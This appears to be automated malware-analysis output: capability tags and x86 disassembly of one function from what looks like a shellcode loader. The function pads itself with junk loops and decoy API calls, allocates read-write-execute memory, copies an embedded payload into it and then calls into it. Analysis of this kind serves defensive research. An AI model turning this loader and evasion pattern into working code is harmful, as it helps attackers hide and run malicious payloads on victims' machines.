Function at 0x404d10
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk size
Get file attributes
Get hostname
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x81c
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor ebx, ebx
xor esi, esi
push ebx
call edi
cmp esi, 0xb7e4ee2
jg 0x404d3a
inc esi
cmp esi, 0x73f04bd
jl 0x404d26
cmp dword [0x494b04], 0x400
jne 0x404d96
push ebx
lea eax, [ebp - 0x41c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
push ebx
push ebx
call fcn.004054c9
push ebx
push ebx
push ebx
call fcn.00405a24
add esp, 0x14
push ebx
call fcn.00405b20
push ecx
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.004053a0
fstp st(0)
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00405880
fstp st(0)
add esp, 8
cmp dword [0x494b04], 0x93
jne 0x404df2
xor ecx, ecx
lock bts dword [ecx], 0
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDllDirectoryW]
push 0x40487c
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push ebx
push ebx
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push ebx
push ebx
call fcn.00405629
push ebx
call fcn.00405608
add esp, 0xc
push ebx
call fcn.0040561e
add esp, 4
call fcn.00404d00
push ebx
push ebx
call fcn.0040585c
add esp, 8
mov eax, dword [0x494b04]
mov ecx, dword [0x48fc84]
push 0x40
add eax, 0x1134b
push 0x1000
push eax
push ebx
mov dword [0x495940], ecx
mov dword [0x494b04], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x494594], eax
mov esi, 0x1692e
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esi, 1
jne 0x404e26
cmp dword [0x494b04], ebx
jbe 0x404ec4
mov edi, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
lea esp, [esp]
mov edx, dword [0x495940]
mov al, byte [edx + esi + 0x1134b]
mov ecx, dword [0x494594]
mov byte [ecx + esi], al
cmp dword [0x494b04], 0x490
jne 0x404ebb
push 0
push 0
lea edx, [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
push 0
push 0
push 0
call edi
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
push 0x404898
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 8]
push eax
push 0
lea ecx, [ebp - 0x1c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
inc esi
cmp esi, dword [0x494b04]
jb 0x404e50
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringW]
mov ebx, dword [sym.imp.KERNEL32.dll_OpenEventW]
xor esi, esi
mov edx, dword [0x494b04]
add edx, esi
cmp edx, 0x8d
jne 0x404f0c
push 0
lea eax, [ebp - 0x81c]
push eax
push 0
push 0
push 0
push 0
call edi
push 0
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0x4048f0
push 0
push 0
call ebx
inc esi
cmp esi, 0x38681
jl 0x404ed2
call fcn.00404c30
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edi, edi
xor esi, esi
cmp esi, 0xfa62c8f
jge 0x404f2e
call ebx
cmp esi, 0x207142
jg 0x404f3f
inc esi
cmp esi, 0x67d12
jl 0x404f24
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x404f5f
mov dword [ebp - 4], edi
add dword [ebp - 4], 0
mov edx, dword [ebp - 4]
add dword [0x494594], edx
inc esi
cmp esi, 0x674bd
jl 0x404f41
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
mov dword [ebp - 4], 0x7b
cmp dword [0x494b04], 0x86
jne 0x404fbc
push 0x40491c
call esi
push 0
lea eax, [ebp - 0x41c]
push eax
push 0
call edi
push 0x40492c
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
cmp dword [0x494b04], 0xf
jne 0x404fcf
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
sub dword [ebp - 4], 1
jne 0x404f81
push 0x40494c
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x494594]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret